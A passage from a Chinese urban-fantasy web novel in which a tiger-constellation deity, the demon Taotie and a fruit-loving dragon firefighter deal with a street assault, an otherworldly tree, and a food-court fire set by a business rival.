要不着,就抢。 在这漫长的几年中,采集制的主要劳动力女性,在群殴活动中不占便宜,而守护住全部落食物或是抢来了全部落食物的男性拿到了话语权,从此走上历史的舞台,且团结一心,绝不肯再下去。 总算熬到了温暖的南方,缙云氏以为天下太平了,连戒备都没有做,就忙着盖屋开荒,从采集制转为农耕制,并推选出新一任的神农。 有熊氏想着这几年屈辱讨食的日子,越想越气,推出新一任的黄帝,决定跟缙云氏干一架。 本来是有熊氏与缙云氏干架,结果变成了李云龙打平安县城。 初代炎帝一脉与初代黄帝一脉的旁支子孙纷纷加入,最后会战于阪泉之野,炎帝一脉惨败。 史书记载,炎帝从此与黄帝合并,后人就称炎黄子孙。 史书没记载的是两股势力合并从来都不是温情脉脉,一朝天子一朝臣,就连文明世界的大公司合并都得干掉几个高管。 输家,总得拿出一些诚意,做为表示驯服的投名状。 嫁女儿这种挡次不够,黄帝有四个来自不同氏族的老婆,他一点都不在乎联姻。 嫁女儿之上是送不值钱的儿子做质子,送质子之上的至高礼仪是杀长子。 这一点,中外皆同,亚伯拉罕就差点杀了自己的儿子祭上帝。 所以,缙云饕餮,就这么被推出来,砍了。 死前,他被冠上七条大罪,还被塞嘴绑手,免得他临死前喊一声“freedom”来蛊惑炎帝部落遗老遗少的心。 最后还用石杵把他的身体砸成醢酱,封在铜盒里。 “所谓的饕餮纹,是用来装我身体的铜盒上的食魂恶兽,就是怕我像窫窳一样被复活。谁能想到,镇我魂的咒纹,成了我的代表,真是讽刺。” 李寅寅笑道:“我觉得你跟耶稣一定有共同语言,他明明是被钉死在十字架上,结果现在十字架成了他的代表。” 她不经意地问了一句:“你的身体被砸成了酱,魂也被镇住……这也能复活?” “自然是有高人相助。” “哪位高人,介绍我认识认识呗,像我这种到处惹事生非的,说不定哪天就要被打死,关在小盒子里,先提前拜个山头,也好到时候救我。” 龙兴伍转脸望着她,似笑非笑:“跟你说话,真要非常小心,不然,就被你套出话了。” “诶?有吗?贪生怕死是正常的反应,我对现在这副皮相还挺满意的,能不丢就不丢,能认识认识帮我复活的高人,也很合理吧。” 李寅寅心里大叹可惜,她勾着龙兴伍回忆过去,就是想让他放松警惕,不小心说漏嘴,结果,他反应相当快,一点口风都没漏。 啧,难怪有熊氏这么忌惮他,炎黄合并成一族的祭天仪式上,第一个就把他砍了…… 换成李寅寅,她也会这么做……太烦人了! 另一边的消防演练结束,龙兴伍问李寅寅:“你想认识他吗?” “想啊,西方世界的喷火龙,以前只在故事里听说过,从来没见过。” 龙兴伍找了个借口,找他们队领导,把红龙留下来。 “伍哥,你怎么有空来?”红龙见到龙兴伍,开心地扑扇着小翅膀。 “介绍一个朋友给你认识,白虎星君,人间的名字叫李寅寅。” 红龙欢快地伸出手,跟李寅寅交握:“你好,李小姐。” “不用这么客气,叫我名字就好。” 红龙憨笑道:“那怎么行,我叫你寅寅姐吧。我叫洪天生,不过正式登记的名字叫洪大牛。” 李寅寅十分困惑:“大牛不应该是小名吗?” 龙兴伍双手插在兜里,神情有些不自然:“打印机出了点问题。” “???” 叫洪天生,是因为他是红龙,又是天上掉下来的。 叫洪大牛,是因为龙兴伍为他准备报身份资料的时候,打印机的横向墨迹很淡,助理也没有仔细检查,就让他交了。 于是,“天生”,就变成了“大牛”。 李寅寅扯扯嘴角:“登记的人不觉得现在还有年轻人叫大牛很奇怪吗?” 喷火龙眨巴着血红大眼:“我问了,她说她不觉得奇怪,在我前面有男孩叫张大春,女孩叫陈大力的,现在家长都有自己的理由,就不多问了。改也没法改,她让我凑合着用。” 李寅寅对他抱有相当的同情,好好的蹲在一边看热闹,结果被殃及,不得不背井离乡,到了新的地方,本来挺有意境的名字,被改得这么接地气……太接地气了,套上辕都能直接开工。 “你想回去吗?”李寅寅问道,三千世界,皆有星宿照耀,以星君之身,她能在不同世界穿梭,虽然没试过带人,不过问题不大,也许能穿到红龙原来的世界,让那两个能撕裂时空的人帮帮忙,再撕一次,把红龙送回来。 “不!想!”喷火龙连尾巴都立起来了,小翅膀着急地高速扑打着,肚子起伏不定,好像李寅寅下一秒就要把它送走似的。 李寅寅不解:“你不想家?” “我才不想!”喷火龙一脸委屈,“那边的人都太坏了!他们把他们不要的人扔掉,非得扔到我家门口!” 李寅寅:“……呃,你是说,弃婴?” 还专程扔到龙穴? 它老家的乡亲们到底是怕龙还是不怕龙。 “不是弃婴,是女人!那些女人不是被绑在树上,就是被绑在石头上,哭得可凄惨了,吵得我晚上都睡不好觉。” 根据李寅寅对西方龙世界的认知,她有一个想法:“有没有可能……那些女人是城镇里的百姓绑来送给你吃的?” “我是吃水果的!不要吃女人!本来我都把她们解开,让她们离我家远一点,不要在我家门口哭,但是,后来我才发现,她们都是奸细!” 李寅寅:“???” 红龙愤愤:“只要她们出现,第二天或者第三天保准有穿着盔甲拿着剑的男人跑到我这来,鬼喊鬼叫,我出去躲清静,结果回来发现,我攒的金币和宝石都被偷走啦!她们都是小偷的奸细!” 李寅寅:“仿佛哪里不对的样子,又好像很合理。” 红龙端起大号玻璃杯,“吨吨吨”往嘴里灌完一扎鲜榨橙汁,把杯子往桌上猛地一顿:“后来,我就把那些女人都送到魔王的城堡,嘿,让魔王去烦恼。” 李寅寅:“……” 红龙又生起气来:“我每次去一趟都很辛苦的,魔王的花园里面有那么多果树,我摘他几个果子怎么了,他每次都要打我,我就对着他家门喷火,也才烧坏了他一千多扇橡木门而已,他居然对我做出那么丧心病狂的事?!!!” 李寅寅非常期待地睁大双眼,身体前倾。 红龙用力一拍桌子:“他挂了一个牌子,上面写着‘火龙与狗,不得入内’!居然把我和狗相提并论!你说,这是不是天大的侮辱!” 李寅寅:“……” “不过,他很快就得到了报应!” 李寅寅又充满了期待地看着他。 红龙骄傲地昂着头:“有好多魔法师组成了‘关爱喷火龙协会’,每天从早到晚在魔王城堡门口举牌抗议魔王的残暴行为。他也睡不好觉啦,哈哈哈!” 现在,李寅寅开始困惑,红龙所在的世界,到底是哪一个西方龙的世界,虽然她确实没有走遍三千世界,但是,就她去过的一百多个小世界里,似乎……没有哪个这么……天真愉快的。 算了,这不重要,既然他不想回去,在这里又有正经的工作,那就好好在这过日子吧。 说到好好过日子,李寅寅又看着饕餮:“龙总,咱们也算熟人了,你能不能给我说句真心话,你到底想干什么? 你要是想掀了这人间的太平日子,我不能同意,毕竟我现在回不了天上,还得在人间过。 你要是想修复通天树,我没意见,但是能不能用点正当的手段,现在已经不是商朝了,骨头拌水泥,人祭这种玩法,只会招来人类法师,连累我也没好日子过……” 她顿了顿,望向抱着一只大柚子剥皮的红龙:“你一定也同意我的看法,天天被人类法师围着,耳朵边天天都是叽叽喳喳,很烦。” 红龙正企图把柚子的皮完整的剥成两个半圆,压根没听李寅寅和龙兴伍说话,见李寅寅问他,他一脸纯洁地点头微笑:“哎对对对!” 龙兴伍呵呵一笑,给李寅寅的杯子里倒酒:“星君别担心,现在人间也是我唯一的栖身之地,绝对会保护环境,爱惜自然,绝对不会任意破坏,至于那位狐族祭司的事,确实不是我做的,我只是使用了别人给的材料而已。” 他对着李寅寅举起酒杯:“其实,星君不必对我这么防备,其实,我与二十八宿中的几位星官,已经有合作,也有加入我公司,做了高管,星君可以问问他们,觉得我怎么样。” “除了青龙家的氐土貉还有谁?” “洛总是我的合作伙伴。还有柳嫣然,是这座美食城顶楼飞龙轩的行政总厨。” 李寅寅眨眨眼睛:“柳……朱雀家的柳土獐?” “没错。” “挺好,专业对口。” 柳宿的位置在朱雀的鸟嘴,专司人间庖厨食味,专司酒宴的酒旗星相伴在柳宿左右,这俩在一起,办蟠桃宴都毫无压力。 “玄武星宿的牛金牛在国内有二十多家畜牧养殖场,也是我的战略合作伙伴。” 李寅寅点点头:“也是一个专业对口的星官,还有呢?” “能与三位星官合作,已经是荣幸。” 李寅寅笑道:“青龙、朱雀、玄武,都有了,你看不起我们白虎星宿?” 龙兴伍看着她,也笑得灿烂:“不是我看不起,是我也只认得奎星与娄星两位,在星君找到他们之前,我就已经先找过了。但是,这两位,一位吃皇粮,一位宁愿给人类工作,说白虎星天有竞业协议,她来我这里违规犯法,星君真是驭下有方,人不在,命令依旧被不折不扣的执行。” “也许是你给得不够多。”李寅寅笑道。 龙兴伍摇头:“如果我是他们,我也不会答应,我给的金钱并不是他们的必需品,星君的霹雳手段打在身上是真的疼。天上地下的神仙妖魔,谁不知道四极星天,只有白虎星天规矩最大,军令如山,军法无情。” “谢谢夸奖。”李寅寅举杯向他一笑。 酒宴之后,李寅寅要回去了,她看着打算回队的红龙,对他说:“你不送送我吗?” 红龙露出迷惑的表情:“我,送你?为什么?” 人类女孩子怕遇到危险,可以理解。 她,可是虎哎! 虽然不知道白虎代表着什么特殊意义,但是他知道在他老家的森林里,普通老虎都超凶。 饕餮,那可是连流动的钢水都能喝得下去,还把在场几十个工人的记忆全部抹掉的存在。刚才,他可是看见了,就连实力强大的饕餮都对她这么客气,足以证明她实力强大,远在饕餮之上。 她说不定能把冥河三途川都喝光,把地狱三头犬当零食吃! 所以,为什么要送她啊? 李寅寅认真地说:“为了保命。” “啊?”红龙更加困惑,“谁能动得了你?” 他为难地搓手:“而且我答应别人帮他值十一点的夜班。” 现在已经十点半了。 “好吧,工作重要。”李寅寅站起身,龙兴伍也跟着站起来:“我送你。” 李寅寅不那么婉的拒:“不用,你要是把人给吃了,只怕我会被雷误劈。” 白天还人来车往的路,现在空荡荡。 在一家饭店门口,李寅寅听见有女孩子在哭叫,还有男人大声嚷嚷的声音:“妈的,臭表子,给脸不要脸!老子看上你,是你的福气。半夜出门的贱货,还装什么清纯!” 李寅寅看见四个女孩子被三个男人围在中间,那三个男人年纪也不大,脸上长着青春痘,嘴唇上的胡子都是刚长出没多久的绒短毛。 其中一个个子略高的男人一边骂一边举着酒瓶,向其中一个女孩子的头上砸,酒瓶抡到半空,却抡不下去了。 他定睛一看,只见一个短发高挑的女人挡在那四个女孩子面前,酒瓶是被她握住的。 “哟嗬,还有小妞自己送上门来。”男人脸上带着猥琐的笑,伸手要去摸李寅寅的胸口。 “卡嚓。” “啊!!!!!” 男人的惨叫响彻天际,旁边六栋居民楼的声控楼道灯齐刷刷的从一楼亮到顶楼。 他的手腕完全变形,李寅寅看似随意的一捏,已经将他的腕骨捏碎。 旁边两人愣了一下,一个抄起椅子向李寅寅头上砸下去,与椅子一起碎的还有他的鼻子。 还有一个掏出一把西瓜刀,叫骂着向李寅寅捅过来。 “呀,动刀了呢。”李寅寅向他一笑,那个笑容却透着十二分的阴森与诡异。 在白虎面前动了利刃兵器,就意味着宣战。 掌天下杀伐兵戈的星君,见战则喜,见血则欢,既然刀出鞘,那么必然得收下一条性命。 李寅寅兴奋地双眼血红,等待着这一刀挥下来,只要他挥下来……今晚鬼差就得加个班! “咚……”刀刃离李寅寅还有三十厘米远,持刀的人就一头栽在地上,一动不动,竟然晕过去了。 李寅寅看着站在他身后如高塔一样的壮汉,摸了摸鼻子:“你不是替人值班?” 红龙嘿嘿一笑:“我记错了,是明天。我同事还说我不送你回家是不对的……虽然我不知道为什么不对,不过他们说不送你就是丢整个水消防队的人,不让我回屋睡觉,所以,我就来了。” 不一会儿,警察来了,两个骨折一个昏倒的被抬去了医院,李寅寅和红龙一起去做笔录。 昏倒的是轻微脑震荡,在去医院的路上就醒了。 那两个骨折的是真的折了,一路上嚎啕哭叫。 看到医院的报告,警察都不敢相信,一个看起来斯斯文文的年轻女人,居然出手比壮汉还重。 而且,她真的就只对每个人出了一次手,握住了想要摸她的手腕,就是劲稍微大了一点,劈开了砸向她的凳子,顺便波及到了鼻子。 从严格意义上来说,算不得是互殴。 在奎木狼的协调下,李寅寅和红龙被允许先走了。 这次红龙一步不离地跟着李寅寅,一直送到宠物店门口,分别的时候,他感慨万千:“现在我知道保命是什么意思了,原来保的是他们的命。” 当晚,就有人把饭店里的打架视频发出来,不过只有前半段,到四个女孩被抽了几耳光,打了几拳,并拖出饭店为止,他做出评价: 打人肯定是不对的,是违法的,但是,怎么拒绝的,有没有言语侮辱?说话的方式,应对的方法也很重要。不客气并不违法,但是,受到伤害的只会是你自己,这时候,是“合理的应对措施”重要,还是“有后知后觉的法律保护呢,无所谓,反正事后法律会惩罚”重要,这依然是个问题。 有人贴了一个视频链接:在爹味冲天的教女生逆来顺受,跪舔罪犯之前,要不先看看罪犯的下场。 这个视频是有人在饭店外面拍的,李寅寅一出手,最嚣张的黄毛就捂着手腕惨嚎。 视频以警察出现结束。 下面已经有了好几条评论,都在关心李寅寅和红龙会不会被判防卫过当。 第二天天亮,媒体记者闻风而动,上门采访李寅寅,问她担不担心自己会留下案底。 李寅寅说了几句空话套话,最后也就说了一句:尊重司法机构的最终决定。 过了几天,结果下来了,李寅寅属于正当防卫,什么事没有,那三个人,无故殴打四个未成年少女,还要进一步的处理。 宠物店这几天人头涌动,都是想来看看一拳超人李寅寅,一直到深夜才没人。 李寅寅为了避免有想追八卦的吃瓜群众或是媒体怼着店里拍,便在打烊后,给店里下了一道结界。 凡人进不了,妖魔鬼怪进来要现原形。 李寅寅看见网上出现了大量的《一分钟女子防身术,转发给你的女性朋友吧》。 她一脸嫌弃:“不练力量,就这么个没用的花架子,防个屁的身。” “就是,还不如我的指甲有用呢。”薛姗舔舔自己的爪子,爪尖蹦出尖尖指甲。 “哎呀吓死我了!”一大块阴影向后一缩,是红龙,他刚一进门就被趴在门口笼子上的薛姗吓了一跳,他小心翼翼地看着薛姗:“请问,你是巫婆养的猫吗?” 李寅寅:“是我养的。” “哦……那就好,我最怕巫婆了,她们总想趁我睡觉的时候,从我身上弄点东西去煮她们奇怪的汤。”红龙安心地拍拍肚子,大大的肚子像果冻一样颤抖了几下。 看得薛姗心痒痒:好想在它的肚子上踩奶啊。 第58章 洪都拉斯白蝙蝠 洪大牛同志来是想买宠物的。 “我想买蝙蝠。” “虽然,蝙蝠没有动保组织疼爱,但是,你买去虐杀,也会影响我们店的名声,以后进货都不好进了。” 喷火龙跟魔王的关系不好,而魔王的经典化身形象就是蝙蝠。 李寅寅有理由认为,喷火龙买蝙蝠是为了把蝙蝠绑在铁架子上,刷上油、酱、撒上十三香、芝麻……太残暴了! 想着想着,李寅寅给了薛姗五十块钱:“你给我去夜市买两串烤鱿鱼,剩下的自己想吃点什么就买。” 喷火龙不知道李寅寅的脑中已经完整的播放完了下厨房的全过程,认认真真反驳:“我不杀它!我想让它给我种果树。” 他爱吃水果蔬菜,虽然消防站的伙食供给很大方,但也没有大方到可以让他敞开了吃的地步,只有他原本世界的果树结出来的果子,才能满足他的需求。 洪大牛掏出一个纸包:“我从我们家那里带来了一些种子,听说,东方大陆的人们擅于种地,不管是什么怪东西,都能种得很好。” 他说的是前几天看的新闻,说美洲**与华人**达成战略合作——种大X。 其中,东北黑帮与闽系黑帮抢生意,最终外国人认为闽系黑帮的作物种的最好。 这新闻传到国内,还有东北人不服气:“明明是我们东北人最有种地天赋,随便一种都能长得很好,洋鬼子就是不识货。” 其他地区的人都站闽系:“你们种得好,是因为你们占着的是黑土地,黑土地撒什么都长得好,跟你们有什么关系,他们在贫瘠的山区都能种出稻子来,那才是真本事。” 吵得很热闹,已经彻底忘记种的东西是违禁品,心思都放在“他种地竟然比我好”上面。 喷火龙想种异界植物,危险性可能比大X还要大,毕竟不是原产地,也就没有天敌,万一种出个大丽菊、加拿大一支黄之类的侵入植物,那就会很麻烦。 李寅寅想拒绝,喷火龙可怜巴巴地看着她:“我就种一棵……我跟龙总商量好了,他让我种在美食城的广场上,美食城有结界,种子不会掉到外面去……我实在太饿了,你看我这体格,每天就只有三斤水果……就这还是同事们让给我的,食堂都不能管饱。” 确实也是,他这么大的个子,平时高强度体力训练,还吃不饱,这也太惨了。 何况他干的还是救人的事。 这相当于,白求恩同志到中国,饿着肚子抢救伤员!实在没条件也没办法,现在不是没有解决方案,硬不让,着实有点说不过去。 喷火龙想要的宠物是洪都拉斯白蝠,这种蝙蝠长着一张猪脸,专业吃无花果,兼职吃其他水果。 “我的那棵树,结的果子就跟无花果差不多,我想就用百分之三十的收成给它当工资,平时让它帮我照顾那棵树,要是丰产了,我愿意把多出来的果子都给它,反正我要保持体重,也不能多吃……你看,行不行?” 李寅寅眨眨眼睛:“等等,你是说,你要买蝙蝠,是想让它给你种树?” “对啊!”喷火龙理直气壮。 他从兜里掏出一张作息表,上面写着: 5:00,在太阳出来之前拔草。7:00,浇水。 9:00,松土,松土后施肥。 14:00,捉虫。 16:00,修剪叶子。 19:00,浇水。 21:00,施肥。 …… 其余的还有花开时节给花进行人工授粉,坐果时节,往树下铺反光板,让果子受光照更均匀,还要往果子上套有字的袋子。 “就是想晒出点吉祥话,送给我的同事。”喷火龙认真地看着李寅寅,“这个条件还行吧……我看娄金狗早上九点上班,一直干到凌晨一点,还说晚上九点能下班就是福报了……” 娄金狗那个破行业,真是以一己之力,侵犯了神圣的八小时工作制。 “咳……那个……其实……我这个叫宠物店。”李寅寅认真的给他科普了宠物店和劳动力市场的区别。 以及,虽然牛马可以当宠物。 但是宠物不能当社畜。 偶尔干点活是情趣,这么高强度的干活,有损“宠物”这个名号的神圣与高贵。 “像我们店里,只有冯墨的工作多一点,负责给我拿快递,也很轻松的。” 话音刚落,一堵大山从远处移动过来,那是四十多个箱子和快递袋,从快递山后面传来冯墨的声音:“苏灵衣,来接一下,还有一车,我马上再去一趟。” 厨房里传来苏灵衣的声音:“等我一下。” 喷火龙弯下腰,搬起了放在最底下的那只盒子,连着上面的那座山,一起搬起来:“这些放哪儿?” 人家都这么积极主动的示好了,再强硬拒绝,也太失礼了。 算了,反正人间的工商管理条例,管不到妖界的事,就算做了营业执照范围之外的业务,也不会有妖界工商局来查处她。 正常情况下,一只洪都拉斯白蝠是不可能飞越太平洋或大西洋跑到中国来。 但是,架不住黄少芸家的黄老爷子,他善。 当年他从北美洲往西走,跨越白令海峡,经西伯利亚冻土来到中国。 他的兄弟,则一直往南走,到了温暖的拉丁美洲就停下了。 从而结识了拉丁美洲的各位土著,与本地妖兽们联手搞事,吓得玛雅人和阿兹特克人疯狂进贡。 然后玛雅人占领了洪都拉斯,他也跟着去了,又认识了当地的白蝙蝠家族。 最近几年,有一只白蝙蝠成精了,变成了娇小可爱的少女,满怀希望想要开启一段新生活。 然而,洪都拉斯,又名罪恶之都、暴力之都。 就连走线的人都视其为最大的一个坎。 总统带头交易毒品,买卖妇女。 想开启新生活是没戏了,还不如当蝙蝠。 但是……她这么努力修炼成人,就是因为中美洲的雨林要玩完,靠雨林为生的她也要玩完,老老实实当蝙蝠,可能死得更快。 人托人,朋友转朋友,她靠香港黄家老爷子的帮忙,辗转到了香港,但是在钢铁丛林里,始终找不到她能做的工作,黄家不缺她一个人的吃喝,她自己觉得太丢脸了,整天想干点啥。 李寅寅从黄少芸那里打听到有她这么一只蝠,于是,就邀请她坐当天的飞机过来。 在李寅寅的心中,少女,起码得有一米五以上。 结果,进门的是一个比乐乐还要矮的小丫头,身高只到李寅寅的腰。 看脸倒确实是少女。 “你好!”她笑嘻嘻地跟李寅寅打招呼,“我叫原随云!” 李寅寅一愣,这名字,不是古龙小说楚留香里的大反派吗? 转念一想,哦,原随云又叫蝙蝠公子,她一只蝙蝠起这名字,倒也没什么毛病。 乐乐和黄少芸放学回来,很快与原随云玩在一起,连作业都差点忘记写。 晚上,原随云乖乖地坐在前台,等着可以给她工作的喷火龙。 “寅寅姐!”一个精神十足的声音从门口传来,随之而来的,是一个高大的身影。 他的声音像惊雷,把原随云吓得蹦了起来,变回原形。 一只五厘米长的小白蝙蝠,生着明黄色的耳朵和鼻子,瑟瑟发抖地团成一团,趴在地上。 喷火龙大步走进来,一眼看见她,嘀咕:“谁把奶黄包掉地上了。” 一边说,一边弯腰去捡,他的手指碰到白绒绒的皮毛,“咦?”他将白蝙蝠拎到眼前:“你是……” “你的园丁。” “哦!!!”喷火龙肉眼可见的开心,把白蝙蝠放在椅子上,自己蹲下,双手捧着脸颊,脑袋摇来摇去,满脸笑容:“这么可爱啊!” 白蝙蝠这会儿惊魂稍定,才“扑”的变成人形。 人形比蝙蝠形高不少,但是……还是没有喷火龙蹲着高,她要很努力地抬头才能看见喷火龙的脸。 她站在椅子上,总算比喷火龙高一点点。 李寅寅把她抱到桌子上坐下,让喷火龙坐椅子,这下两人的姿势总算没那么奇怪了。 两人互通姓名,喷火龙拿出他拟定的园丁工作手册给原随云看,问原随云是否可以接受。 “我能接受,可是树不行。哪有一天浇两次肥的!会烧死的啦!行了,你别管,都交给我!”她的声音清脆,又带着一份不容置疑的专家派头。 喷火龙那个工作手册,本来就是他自己一拍脑袋瞎想出来的,毫无理论依据和实践基础,既然原随云是专家,他就不掺合具体细节了。 喷火龙和原随云认真讨论那颗异界种子的发芽条件,高湿、高热……那不就跟热带雨林气候差不多嘛。 改变一个城市做不到,改变美食广场前面那么一小片区域的气候一点压力都没有。 只要砸钱! 只要……砸……钱…… 钱…… 高热要搭暖房、高湿要时时喷水。 不说搭这些基础设施的价格,光是水电费就要了亲的命了。 喷火龙又开始发愁。 最后还是李寅寅替他到办法,请柳舒帮忙,以柳舒的能力,让那么一小块区域保持热带雨林的湿度和水量没有问题。 保持温暖的事情就交给了鬼金羊,她吞了朱雀十分之九的魂魄,虽然没有朱雀神格,但是有朱雀的温度,她什么都不用干,坐在那里就行。 反正都是坐牢,对妖管局来说,只要在尾火虎的感知范围内,犯人在哪待着都一样。 祥龙美食城门口,出现了一块绿地,绿地旁有一张石桌,一个石椅。 每天都有一个身穿古装的美女坐在石桌旁,或是弹古琴,或是吹玉箫,或是烹茶,或是写毛笔字,或是自己跟自己下棋。 顾客觉得这是美食城吸引顾客的手段,刚开始还有不少人围观,后来就跟西餐厅里弹钢琴的妹子一样,没什么稀罕了。 在鬼金羊和柳舒的努力下,那颗来自异界的种子发芽了,长得还很快。 不过一个月,就长的很高。 李寅寅:“这是草本植物啊?” 喷火龙不知道什么是草木植物,他只知道这玩意儿在他们家乡就应该是一天发芽,三天开花,七天结果,十五天果子成熟,然后不断有果子成熟,永远不会饿着他。 在这里都算长得慢了。 这棵异界树长得郁郁葱葱,原随云白天变回原形,睡在树枝上,用大大的树叶当成被子盖着自己,晚上出来养护树木。 鬼金羊白天守着树,晚上在地下空间里待着。 饕餮在经营吃喝方面是一把好手,加之有柳土獐和酒旗星的双强加持,刚开业,就成了本市品牌餐饮的龙头企业,普通人在楼下吃,最便宜的有五块钱一份的肉末炒白菜,白饭和小菜随便加。 有钱人有自己的私密通道,凭着预约能直上十八层,楼上一道开胃菜,能抵得上楼下一桌寿宴。 珍稀食材藏在食材里,就不会那么引人注意,与那家机械厂餐馆比,一个是中隐隐于市,一个是小隐隐于野,目标客户各不相同。当然,也有大隐隐于朝的部分,那就更不是凡人能触及的领域了。 生意做得风生水起,自然有人看他不顺眼,高端的商战手段层出不穷: 安排人在大厅闹事,让正在吃饭的食客都滚,否则连他们一起打。 阴谋,因为强悍的保安团队而破灭。 安排人扮成食客,吃到一半,从兜里掏出被咬了一口的蟑螂,加到菜里。 阴谋,因为监控摄像头而破灭。 安排人潜伏到厨房当小工,间谍想偷摸往菜里掺点“添加剂”。 阴谋,因为监控摄像头而破灭。 安排人色诱采购部经理,想让他进口走私肉类。 阴谋,因为饕餮龙总出现,负责色诱的女间谍被饕餮龙总色诱,她……毫无职业道德的倒戈了。 总之,各种手段都用尽了。 最后一个来自潮汕的老板放出大招:半夜派人拎着开水去浇美食广场前面的那棵树。 那棵树长得那么好,又在招财的风水位上,绝对就是招财树! 深夜,一个穿着黑衣戴着兜帽和口罩的人,鬼鬼祟祟地提着一只帆布袋靠近异界树。 晚上的保安每两小时巡逻一次,刚刚他们已经出现过了。 他在树下刨了一个坑,再从包里掏出一块亮闪闪的金属,扔到坑里,然后,他草草把刚才刨出来的土堆回去。 黑衣人正打算离开,忽然听见头顶上传来一个清脆的少女声:“咦?你在干什么呀?” 他抬头一看,只见一个一头白发,一身白衣的少女正坐在一根树枝上,歪着脑袋看他。 那一瞬间,他全身汗毛倒竖,惨叫一声,腿一软,站立不稳,坐在地上:“鬼!有鬼啊啊啊啊啊……” 就在此时,为异界树提供的自动喷淋装置到工作时间,兢兢业业地喷出大量清水。 水浇在树根,渗入土中。 “呲……”土下发出奇异的声音。 声音越来越响。 紧接着,地下传来爆炸声,与泥土一起飞溅的,还有被炸裂成小块的金属,这些金属落进水里,又引发了第二轮的爆燃,更多带着火焰的金属飞得更高,落在高处悬挂的横幅和竖幅上。 画着生猛海鲜、特价促销的广告,瞬间变成火条,火焰顺着布幔,又燃着了更多的东西…… 119接到消息的时候,火势已蔓延开。 美食城里不仅有保安,还有等着早上五点开工做早餐档的厨师和服务员,在二楼,还有一个二十四小时的深夜小火锅。 里面有厨师、服务员,还有食客,以及每桌一瓶的大号煤气罐。 等消防车赶到时,美食城上空的云层被映得通红。 喷火龙刚一下车,就看到了美食城中间那棵树,已经完全被火焰包裹住。 他一转头,就看见坐在停车区的鬼金羊,大概他脸上的表情过于骇人,连鬼金羊都下意识地举起手:“不是我干的!” 喷火龙急了:“原随云呢?出来了吗?” “不知道。” 鬼金羊是真不知道,她一见起火,第一反应就是“哪个王八蛋要栽赃老娘?!” 根据她这段时间看过的几部电视剧内容,被人冤枉是杀人犯的人,都是赖在现场不走,还非得捡一把沾血刀拿在手里的傻缺。 她不是傻缺,于是麻溜地就跑了。 二楼的深夜小火锅厅门口装饰的花里胡哨,从大门口到桌子边,还要经过一段封闭的,九曲十八弯的长廊里摆着许多桌子椅子。 据说这是因为白天排队的人很多,为了安抚食客的情绪,店里就给安排了这么一个等候区,等待的客人可以在这里吃零食、打牌、做指甲、擦鞋子…… 现在这些东西都被火焰点燃,成了阻挡消防队员进入的障碍。 喷火龙一马当先,端着高压水枪,也不管那些障碍物上的火焰有没有被扑灭,他一脚一张桌,一腿一把椅,就像一台推土机,把挡在面前的东西都给推开。 他的同事们跟在他身后往里走。 大厅里传来叫救命的声音、咳嗽的声音,还有恐惧的哭声。 几个消防员分散行动,把能自己走的幸存者带出去。 还有三个不幸的年轻男人,坐在离装饰柱不远的地方,装饰柱被烧倒了,正好砸在他们这一桌。三个人的腿齐齐被压在桌下,一动就痛得厉害,根本没办法行动,喷火龙背起一个,左手抱一个,右手抱一个。 三个男人被他像抱婴儿一样,带出火场。 刚把人放下,他又转身回去继续救人。 在高压水枪的作用下,肉眼可见的火焰大部分已经熄灭。 此时,有一个女服务员大喊:“还有人没出来!张慧慧!我没找到她!她是火锅的服务员!她现在应该在上班的!” 队长又让喷火龙带人进去找张慧慧。 带的是两个刚参加工作的新人,刚十八岁,身材也很瘦小,一个170,还有一个自称170,喷火龙的体重卡上限,他们的体重卡下限。 单独出过几次警,不是帮人捉上树下不来的笨猫,就是把身子探出窗外去捅马蜂窝。 喷火龙羡慕他们,他喜欢跟动物玩,也喜欢捣蛋,对着马蜂窝喷火,多好玩啊! 可是队长从来不派他去干这些事,因为他太重了,队长说他会把树枝踩断,窗框踩塌。 这两个年轻人也羡慕他,觉得单手就能压住高压水枪、一个人能扛三个人出来实在太帅了,这才是纯爷们儿干的事。 三人一边走,一边大叫着张慧慧的名字。 大厅里的吊顶也被大火烧得摇摇欲坠,火熄了之后,慢慢的,悬吊索承不住重量,就开始往下哐哐的掉,有些被喷火龙接住。 还有一块砸在喷火龙头盔上,发出“当”的一声响。 那两个年轻人紧跟在他身旁:“我现在理解,什么叫做天塌了有个子高的挡着。” “别说挡着,天塌了,咱牛哥都能把天给撑回去!” 正说着,喷火龙就发现前面有一片区域,刚才没来,是干货间,里面是用来放餐盘上面垫着的纸、餐巾纸、一次性筷子之类的备品。 干货间过于曲折,虽然火灭了,但是里面浓烟滚滚,再加上灯灭了,靠着手电筒也很难看清东西。 三人戴着面具进去,一直走到最深处,都没有找到人。 “还有一个门!不会在这里面吧。”一个年轻人一边说,一边伸手去拉门把手。 喷火龙一个箭步冲过去:“别动!” 年轻的队员虽然听见了,但以为他是说那金属门把手被火烧过会烫,还嘻嘻哈哈的说:“没事,戴着手套呢。” 说着,就把门给拉开了。 喷火龙一把拉住他的胳膊,将他从门口拉开,并用力向外推。 “快走!”喷火龙大吼一声。 此时,这两个新人终于想起了培训过的知识点:回燃。 瞬间涌入的空气,混合高浓度的可燃烟气,因为缺氧而暂时消失的火焰瞬间复燃,会形成一团带着强大冲击力的火球。 现在,他们看见了培训资料上描述的火球。 以他们与火球之间的距离,是绝对跑不掉的,他俩已经以做好了牺牲的准备。 爆燃的声音已经响起,预想中的炽烈火焰却没有烧到脸上。 一个高大的身影,挡在被打开的房间门口,喷火龙很着急,刚才就叫他们跑,他们怎么不跑呢! 他们不跑,自己怎么都不会被火烧死这事不就暴露了吗? 他决定用最难听的字眼辱骂他们! 只见他声音洪亮地大声嚷嚷:“你们这两只愚蠢的土拨鼠!我发誓,你们再不走,我就要用靴子狠狠踢你们的屁股!” 两人连忙爬起来往外跑,端着高压水枪又杀回来,站在门口把这漏网之火给灭了。 喷火龙缓缓往外走,忽然他听见了李寅寅的声音:“如果我是你,现在就倒在地上,往背上伪装一些烧伤痕迹,否则,你今天走出去,明天就得被人绑架来研究你死不了的未解之谜。” “有道理!”喷火龙立马倒在地上,露出的皮肤从完整无瑕到瞬间一片溃烂,如同被火严重烧灼过。 李寅寅与龙兴伍站在火场外,看着忙碌的人群。 一只奶黄包似的小蝙蝠坐在李寅寅的外套口袋里,两只爪子扒着口袋边沿往外看。 李寅寅双手抱在胸前:“我说,这火不会是你叫人放的吧?我可听说,你们公司财务部连带着原始凭证今天刚搬进这栋楼里,你还投了最高额的火灾保险,昨天正好拿到生效的保险合同……这火龙烧仓,来得太及时了。” 龙兴伍笑笑:“星君对我成见很深啊,要是我做的,绝不会从一棵树烧起,太慢了。” 小蝙蝠突然开口:“我看到是怎么起火的!” 